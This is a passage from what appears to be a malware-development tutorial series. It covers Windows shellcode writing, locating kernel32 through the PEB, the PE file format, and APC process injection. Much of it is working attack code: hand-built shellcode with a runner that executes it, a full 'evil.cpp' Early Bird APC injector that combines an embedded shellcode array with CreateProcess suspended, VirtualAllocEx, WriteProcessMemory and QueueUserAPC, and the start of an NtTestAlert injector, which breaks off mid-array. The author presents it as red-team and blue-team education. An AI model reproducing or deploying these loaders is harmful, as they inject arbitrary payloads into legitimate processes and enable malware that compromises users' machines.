(ExitProcess, WinExec) in memory
*/
#include <windows.h>
#include <stdio.h>

int main() {
unsigned long Kernel32Addr; // kernel32.dll address
unsigned long ExitProcessAddr; // ExitProcess address
unsigned long WinExecAddr; // WinExec address

Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

ExitProcessAddr = GetProcAddress(Kernel32Addr, "ExitProcess");


printf("ExitProcess address in memory is: 0x%08p\n", ExitProcessAddr);

WinExecAddr = GetProcAddress(Kernel32Addr, "WinExec");

74
printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);

getchar();
return 0;
}
This program will tell you the kernel address and the WinExec address in
kernel32.dll. Let’s compile it:
i686-w64-mingw32-gcc -O2 getaddr.c -o getaddr.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wall \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc >/dev/null 2>&1

and run in our target machine:


.\getaddr.exe

Now we know the addresses of our functions. Note that our program found the kernel32
address correctly.

assembly time
The WinExec() function within kernel32.dll can be used to launch any program
that the user running the process can access:
UINT WinExec(LPCSTR lpCmdLine, UINT uCmdShow);

75
In our case, lpCmdLine is equal to calc.exe, uCmdShow is equal to 1 (SW_NORMAL).
Firstly convert calc.exe to hex via python script (conv.py):
# convert string to reversed hex
import sys

input = sys.argv[1]
chunks = [input[i:i+4] for i in range(0, len(input), 4)]
for chunk in chunks[::-1]:
print (chunk[::-1].encode("utf-8").hex())

Then, create our assembly code:


xor ecx, ecx ; zero out ecx
push ecx ; string terminator 0x00 for
; "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163

mov eax, esp ; save pointer to "calc.exe"


; string in ebx

; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT uCmdShow);


inc ecx ; uCmdShow = 1
push ecx ; uCmdShow *ptr to stack in
; 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in
; 1st position
mov ebx, 0x76f0e5fd ; call WinExec() function
; addr in kernel32.dll
call ebx
To put something in Little Endian format, just put the hex of the bytes in
as reverse
So, what about ExitProcess function?
void ExitProcess(UINT uExitCode);
It’s used to gracefully close the host process after the calc.exe process is launched
using the WinExec function:
; void ExitProcess([in] UINT uExitCode);
xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess

76
; function addr in kernel32.dll
jmp eax ; execute the ExitProcess function
So, final code is:
; run calc.exe and normal exit
; author @cocomelonc
; nasm -f elf32 -o example1.o example1.asm
; ld -m elf_i386 -o example1 example1.o
; 32-bit linux (work in windows as shellcode)

section .data

section .bss

section .text
global _start ; must be declared for linker

_start:
xor ecx, ecx ; zero out ecx
push ecx ; string terminator 0x00
; for "calc.exe" string
push 0x6578652e ; exe. : 6578652e
push 0x636c6163 ; clac : 636c6163

mov eax, esp ; save pointer to "calc.exe"


; string in ebx

; UINT WinExec([in] LPCSTR lpCmdLine, [in] UINT uCmdShow);


inc ecx ; uCmdShow = 1
push ecx ; uCmdShow *ptr to stack in
; 2nd position - LIFO
push eax ; lpcmdLine *ptr to stack in
; 1st position
mov ebx, 0x76f0e5fd ; call WinExec() function
; addr in kernel32.dll
call ebx

; void ExitProcess([in] UINT uExitCode);


xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess function
; addr in kernel32.dll
jmp eax ; execute the ExitProcess function
Compile:
nasm -f elf32 -o example1.o example1.asm

77
ld -m elf_i386 -o example1 example1.o
objdump -M intel -d example1

Then, let’s go to extract byte code via bash-hacking and objdump again:
objdump -M intel -d example1 | grep '[0-9a-f]:'|grep -v
'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|
sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|
sed 's/$/"/g'

So, our bytecode is:


"\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c
\x63\x89\xe0\x41\x51\x50\xbb\xfd\xe5\xf0\x76\xff
\xd3\x31\xc0\x50\xb8\x4f\x21\xed\x76\xff\xe0"
compiled as ELF file for linux 32-bit because we are only using nasm to
translate the opcodes for us
Then, replace the code at the top (run.c) with:
/*
run.c - a small skeleton program to run shellcode
*/
// bytecode here
char code[] = "\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61"
"\x6c\x63\x89\xe0\x41\x51\x50\xbb\xfd\xe5\xf0"
"\x76\xff\xd3\x31\xc0\x50\xb8\x4f\x21\xed\x76"

78
"\xff\xe0";

int main(int argc, char **argv) {


int (*func)(); // function pointer
func = (int (*)()) code; // func points to our shellcode
(int)(*func)(); // execute a function code[]
// if our program returned 0 instead of 1,
// so our shellcode worked
return 1;
}
Compile:
i686-w64-mingw32-gcc run.c -o run.exe

And run:
.\run.exe

The calc.exe process runs even after the host process dies because it is
it’s own process.
So our shellcode is perfectly worked :)
This is how you create your own shellcode for windows, for example.
But, there is one caveat. This shellcode will only work on this machine. Because, the
addresses of all DLLs and their functions change on reboot and are different on each

79
system. In order for it to work on any windows 7 x86 sp1, ASM needs to find the
addresses of the functions by itself. I will do this in the next part.
WinExec
ExitProcess
The Shellcoder’s Handbook
my intro to x86 assembly
my nasm tutorial
linux shellcoding part 1
linux shellcoding part 2
Source code in Github

80
11. windows shellcoding - part 2. Find kernel32 address

In the first part of my post about windows shellcoding we found the addresses of
kernel32 and functions using the following logic:
/*
getaddr.c - get addresses of functions
(ExitProcess, WinExec) in memory
*/
#include <windows.h>
#include <stdio.h>

int main() {
unsigned long Kernel32Addr; // kernel32.dll address
unsigned long ExitProcessAddr; // ExitProcess address
unsigned long WinExecAddr; // WinExec address

Kernel32Addr = GetModuleHandle("kernel32.dll");
printf("KERNEL32 address in memory: 0x%08p\n", Kernel32Addr);

ExitProcessAddr = GetProcAddress(Kernel32Addr, "ExitProcess");


printf("ExitProcess address in memory is: 0x%08p\n",
ExitProcessAddr);

WinExecAddr = GetProcAddress(Kernel32Addr, "WinExec");


printf("WinExec address in memory is: 0x%08p\n", WinExecAddr);

getchar();
return 0;
}
Then we entered the found address into our shellcode:

81
; void ExitProcess([in] UINT uExitCode);
xor eax, eax ; zero out eax
push eax ; push NULL
mov eax, 0x76ed214f ; call ExitProcess function
; addr in kernel32.dll
jmp eax ; execute the ExitProcess function
The caveat is that the addresses of all DLLs and their functions change upon reboot and
differ in each system. For this reason, we cannot hard-code any addresses in our ASM
code:

First of all, how do we find the address of kernel32.dll?

TEB and PEB structures


Whenever we execute any exe file, the first thing that is created (at least to my knowledge)
in the OS are PEB:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;

82
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, *PPEB;
and TEB:
typedef struct _TEB {
PVOID Reserved1[12];
PPEB ProcessEnvironmentBlock;
PVOID Reserved2[399];
BYTE Reserved3[1952];
PVOID TlsSlots[64];
BYTE Reserved4[8];
PVOID Reserved5[26];
PVOID ReservedForOle;
PVOID Reserved6[4];
PVOID TlsExpansionSlots;
} TEB, *PTEB;
PEB - process structure in windows, filled in by the loader at the stage of process creation,
which contains the information necessary for the functioning of the process.
TEB is a structure that is used to store information about threads in the current process,
each thread has its own TEB.
Let’s open some program in the windbg debugger and run command:
dt _teb

As we can see, PEB has an offset of 0x030. Similarly, we can see the contents of the
PEB structure using command:
dt _peb

83
We now need to look at the member that is at an offset of 0x00c from the base of the
PEB structure, which is the PEB_LDR_DATA. PEB_LDR_DATA contains information
about the loaded modules for the process.
Then, we can also examine PEB_LDR_DATA structure via windbg:
dt _PEB_LDR_DATA

Here we can see that the offset of InLoadOrderModuleList is 0x00c, InMemoryOrderModuleList


is 0x014, and InInitializationOrderModuleList is 0x01c.
InMemoryOrderModuleList is a doubly linked list where each list item points to
an LDR_DATA_TABLE_ENTRY structure, so Windbg suggests the structure type is
LIST_ENTRY.
Before we continue let’s run the command:
!peb

84
As we can see, LDR (PEB structure) address is - 77328880.
Now to see the addresses of the InLoadOrderModuleList, InMemoryOrderModuleList
and InInitializationOrderModuleList run the command:
dt _PEB_LDR_DATA 77328880
This will show us the corresponding start addresses and end addresses of linked lists:

Let’s try to view the modules loaded into the LDR_DATA_TABLE_ENTRY structure, and
we will also indicate the starting address of this structure at 0x5119f8 so that we can
see the base addresses of the loaded modules. Remember that 0x5119f8 is the address
of this structure, so the first entry will be 8 bytes less than this address:
dt _LDR_DATA_TABLE_ENTRY 0x5119f8-8

As you can see BaseDllName is our exit.exe. This is exe I executed.


Also, you can see that the InMemoryOrderLinks address is now 0x511a88. DllBase
at offset 0x018 contains the base address BaseDllName. Now our next loaded module
should be 8 bytes away from 0x511a88, namely 0x5119f8-8:
dt _LDR_DATA_TABLE_ENTRY 0x5119f8-8

85
As you can see BaseDllName is ntdll.dll. It’s address is 0x77250000 and the next
module is 8 bytes after 0x511e58. So, then:
dt _LDR_DATA_TABLE_ENTRY 0x511e58-8

As you can see our third module is kernel32.dll and it’s address is 0x76fd0000,
offset is 0x018. To make sure that it is correct, we can run our getaddr.exe:

This module loading order will always be fixed (at least to my knowledge) for Windows
10, 7. So when we write in ASM, we can go through the entire PEB LDR structure and
find the kernel32.dll address and load it into our shellcode.
As I wrote in the first part, The next module should be kernelbase.dll. Just for
experiment, to make sure that it is correct, we can run:
dt _LDR_DATA_TABLE_ENTRY 0x511f70-8

86
Thus, the following is obtained:
1. offset to the PEB struct is 0x030
2. offset to LDR within PEB is 0x00c
3. offset to InMemoryOrderModuleList is 0x014
4. 1st loaded module is our .exe
5. 2nd loaded module is ntdll.dll
6. 3rd loaded module is kernel32.dll
7. 4th loaded module is kernelbase.dll
In all recent versions of the Windows OS (at least to my knowledge), the FS reg-
ister points to the TEB. Therefore, to get the base address of our kernel32.dll
(kernel.asm):
; find kernel32
; author @cocomelonc
; nasm -f win32 -o kernel.o kernel.asm
; ld -m i386pe -o kernel.exe kernel.o
; 32-bit windows

section .data

section .bss

section .text
global _start ; must be declared for linker

_start:
mov eax, [fs:ecx + 0x30] ; offset to the PEB struct
mov eax, [eax + 0xc] ; offset to LDR within PEB
mov eax, [eax + 0x14] ; offset to
; InMemoryOrderModuleList
mov eax, [eax] ; kernel.exe address loaded
; in eax (1st module)
mov eax, [eax] ; ntdll.dll address loaded
; (2nd module)
mov eax, [eax + 0x10] ; kernel32.dll address

87
; loaded (3rd module)
With this assembly code we can find the kernel32.dll address and store it in EAX
register, so compile it:
nasm -f win32 -o kernel.o kernel.asm
ld -m i386pe -o kernel.exe kernel.o

Copy it and run it in debugger on windows 7:

run:

88
As you can see everything is worked perfectly!
The next step is to find the address of function (for example ExitProcess) using
LoadLibraryA and call the function. This will be in the next part.
History and Advances in Windows Shellcode
PEB structure
TEB structure
PEB_LDR_DATA structure
The Shellcoder’s Handbook
windows shellcoding part 1
Source code in Github

89
12. windows shellcoding - part 3. PE file format

This section can be read not only as a continuation of the previous ones, but also as a
separate material. This one is overview of PE file format.

PE file
What is PE file format? It’s the native file format of Win32. Its specification is derived
somewhat from the Unix Coff (common object file format). The meaning of “portable
executable” is that the file format is universal across win32 platform: the PE loader
of every win32 platform recognizes and uses this file format even when Windows is
running on CPU platforms other than Intel. It doesn’t mean your PE executables would
be able to port to other CPU platforms without change. Thus studying the PE file format
gives you valuable insights into the structure of Windows.
Basically PE file structure looks like this:

90
91
The PE File Format is essentially defined by the PE Header so you will want to read
about that first, you don’t need to understand every single part of it but you should get
an idea about it’s structure and be able to identify the parts that are most important.

DOS header
DOS header store the information needed to load the PE file. Therefore, this header is
mandatory for loading a PE file.
DOS header structure:
typedef struct _IMAGE_DOS_HEADER {// DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
and it is 64 bytes in size. In this structure, the most important fields are e_magic and
e_lfanew. The first two bytes of the header are the magic bytes which identify the file
type, 4D 5A or “MZ” which are the initials of Mark Zbikowski who worked on DOS at
Microsoft. These magic bytes define it as a PE file:

e_lfanew - is at offset 0x3c of the DOS HEADER and contains the offset to the PE
header:

92
DOS stub
After the first 64 bytes of the file, a dos stub starts. This area in memory is mostly filled
with zeros:

PE header
This portion is small and simply contains a file signature which are the magic bytes
PE\0\0 or 50 45 00 00:

93
It’s structure:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
Let’s take a closer look at this structure.
File Header (or COFF Header) - a set of fields describing the basic characteristics of
the file:
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

94
Optional Header - it’s optional in context of COFF object files but not PE files. It con-
tains many important variables such as AddressOfEntryPoint, ImageBase, Section
Alignment, SizeOfImage, SizeOfHeaders and the DataDirectory. This structure
has 32-bit and 64-bit versions:
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//

WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;

//
// NT additional fields.
//

DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY

95
DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

Here I want to draw you attention to IMAGE_DATA_DIRECTORY:


typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
it’s data directory. Simply it is an array (16 in size), each element of which contains a
structure of 2 DWORD values.
Currently, PE files can contain the following data directories:
• Export Table
• Import Table
• Resource Table
• Exception Table
• Certificate Table
• Base Relocation Table
• Debug
• Architecture
• Global Ptr
• TLS Table
• Load Config Table
• Bound Import
• IAT (Import Address Table)
• Delay Import Descriptor
• CLR Runtime Header
• Reserved, must be zero
As I wrote earlier, I will consider in more detail only some of them.

96
Section Table
Contains an array of IMAGE_SECTION_HEADER structs which define the sections of the
PE file such as the .text and .data sections. IMAGE_SECTION_HEADER structure is:
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
and consists of 0x28 bytes.

Sections
After the section table comes the actual sections:

Applications do not directly access physical memory, they only access virtual memory.
Sections are an area that is paged out into virtual memory and all work is done directly
with this data. The address in virtual memory, without any offsets, is called the Virtual
Address, or VA for short. In other words, the Virtual Addresses (VAs) are the memory
addresses that are referenced by an application. Preferred download location for the
application, set in the ImageBase field. It is like the point at which an application
area begins in virtual memory. And the offsets RVA (Relative Virtual Address) are
measured relative to this point. We can calculate RVA with the help of the following
formula: RVA = VA - ImageBase. ImageBase is always known to us and having

97
received VA or RVA at our disposal, we can express one through the other.
The size of each section is fixed in the section table, so the sections must be of a certain
size, and for this they are supplemented with NULL bytes (00).
An application in Windows NT typically has different predefined sections, such as .text,
.bss, .rdata, .data, .rsrc. Depending on the application, some of these sections
are used, but not all are used.

.text In Windows, all code segments reside in a section called .text.

.rdata The read-only data on the file system, such as strings and constants reside in a
section called .rdata.

.rsrc The .rsrc is a resource section, which contains resource information. In many
cases it shows icons and images that are part of the file’s resources. It begins with a
resource directory structure like most other sections, but this section’s data is further
structured into a resource tree. IMAGE_RESOURCE_DIRECTORY, shown below, forms
the root and nodes of the tree:
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries;
WORD NumberOfIdEntries;
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;

.edata The .edata section contains export data for an application or DLL. When
present, this section contains an export directory for getting to the export information.
IMAGE_EXPORT_DIRECTORY structure is:
typedef struct _IMAGE_EXPORT_DIRECTORY {
ULONG Characteristics;
ULONG TimeDateStamp;
USHORT MajorVersion;
USHORT MinorVersion;
ULONG Name;
ULONG Base;
ULONG NumberOfFunctions;
ULONG NumberOfNames;
PULONG *AddressOfFunctions;
PULONG *AddressOfNames;
PUSHORT *AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

98
Exported symbols are generally found in DLLs, but DLLs can also import symbols. The
main purpose of the export table is to associate the names and / or numbers of the
exported functions with their RVA, that is, with the position in the process memory
card.

Import Address Table


The Import Address Table is comprised of function pointers, and is used to get the
addresses of functions when the DLLs are loaded. A compiled application was designed
so that all API calls will not use direct hardcoded addresses but rather work through a
function pointer.

Conclusion
The PE file format is more complex than I wrote in this post, for example, an interest-
ing illustration about windows executable can be found on the Ange Albertini’s github
project corkami:

PE bear
MSDN PE format
corkami
An In-Depth Look into the Win32 Portable Executable File Format
An In-Depth Look into the Win32 Portable Executable File Format, Part 2
MSDN IMAGE_NT_HEADERS
MSDN IMAGE_FILE_HEADER
MSDN IMAGE_OPTIONAL_HEADER
MSDN IMAGE_DATA_DIRECTORY

99
13. APC injection technique. Simple C++ malware.

In the previous sections I wrote about classic code injection, and classic DLL injection.
Today in this section I will discuss about a “Early Bird” APC injection technique. To-
day we’re going to look at QueueUserAPC which takes advantage of the asynchronous
procedure call to queue a specific thread.
Each thread has its own APC queue. An application queues an APC to a thread by
calling the QueueUserAPC function. The calling thread specifies the address of an APC
function in the call to QueueUserAPC. The queuing of an APC is a request for the thread
to call the APC function.
High level overview of this technique is:
Firstly, our malicious program creates a new legitimate process (in our case
notepad.exe):

100
Whenever we see a call to CreateProcess, two important parameters we want to pay
attention to are the first (executable to be invoked), and sixth (process creation flags).
The creation flag is CREATE_SUSPENDED.
Then, memory for payload is allocated in the newly created process’s memory space:

As I wrote earlier in previous posts, there is a very important difference between


VirtualAlloc and VirtualAllocEx. The former will allocate memory in the calling
process, the latter will allocate memory in a remote process. So if we see malware call
VirtualAllocEx, there more than likely will be some kind of cross process activity
about to commence.
APC routine pointing to the shellcode is declared.
Then payload is written to the allocated memory:

101
APC is queued to the main thread which is currently in suspended state:

Finally, thread is resumed and our payload is executed:

102
So, our full source code is (evil.cpp):
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// our payload calc.exe


unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

103
int main() {

// Create a 64-bit process:


STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID my_payload_mem;
SIZE_T my_payload_len = sizeof(my_payload);
LPCWSTR cmd;
HANDLE hProcess, hThread;
NTSTATUS status;

ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, false,
CREATE_SUSPENDED, NULL, NULL, &si, &pi
);
WaitForSingleObject(pi.hProcess, 5000);
hProcess = pi.hProcess;
hThread = pi.hThread;

// allocate a memory buffer for payload


my_payload_mem = VirtualAllocEx(hProcess, NULL, my_payload_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// write payload to allocated buffer


WriteProcessMemory(hProcess,
my_payload_mem,
my_payload,
my_payload_len, NULL);

// inject into the suspended thread.


PTHREAD_START_ROUTINE apc_r = (PTHREAD_START_ROUTINE)my_payload_mem;
QueueUserAPC((PAPCFUNC)apc_r, hThread, NULL);

// resume to suspended thread


ResumeThread(hThread);

return 0;
}
As you can see for simplicity, we use 64-bit calc.exe as the payload. Without delving
into the generation of the payload, we will simply insert payload into our code:

104
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
Let’s go to compile:
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc

Let’s go to launch a evil.exe on windows 7 x64:

105
If we check the newly started notepad.exe in the Process Hacker, we can confirm that
the main thread is indeed suspended:

As you can see, WaitForSingleObject function second parameter is


30000 for demonstration, in real-world scenario it’s not so big.
Our evil.exe is also worked in windows 10 x64:

APC MSDN
QueueUserAPC
VirtualAllocEx
WaitForSingleObject

106
WriteProcessMemory
ResumeThread
ZeroMemory
Source code in Github
In the future I will try to figure out more advanced code injection techniques.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.

107
14. APC injection via NtTestAlert. Simple C++ malware.

In last section I wrote about “Early Bird” APC injection technique.


In this section I will discuss about another APC injection technique. Its meaning is that
we are using an undocumented function NtTestAlert. So let’s go to show how to
execute shellcode within a local process by leveraging a Win32 API QueueUserAPC and
an officially undocumented Native API NtTestAlert.

NtTestAlert
NtTestAlert is a system call that’s related to the alerts mechanism of Windows. This
system call can cause execution of any pending APCs the thread has. Before a thread
starts executing it’s Win32 start address it calls NtTestAlert to execute any pending
APCs.

example
Let’s take a look at our C++ source code of our malware:
/*
hack.cpp
APC code injection via undocumented NtTestAlert
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/20/malware-injection-4.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#pragma comment(lib, "ntdll")


using myNtTestAlert = NTSTATUS(NTAPI*)();

108
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
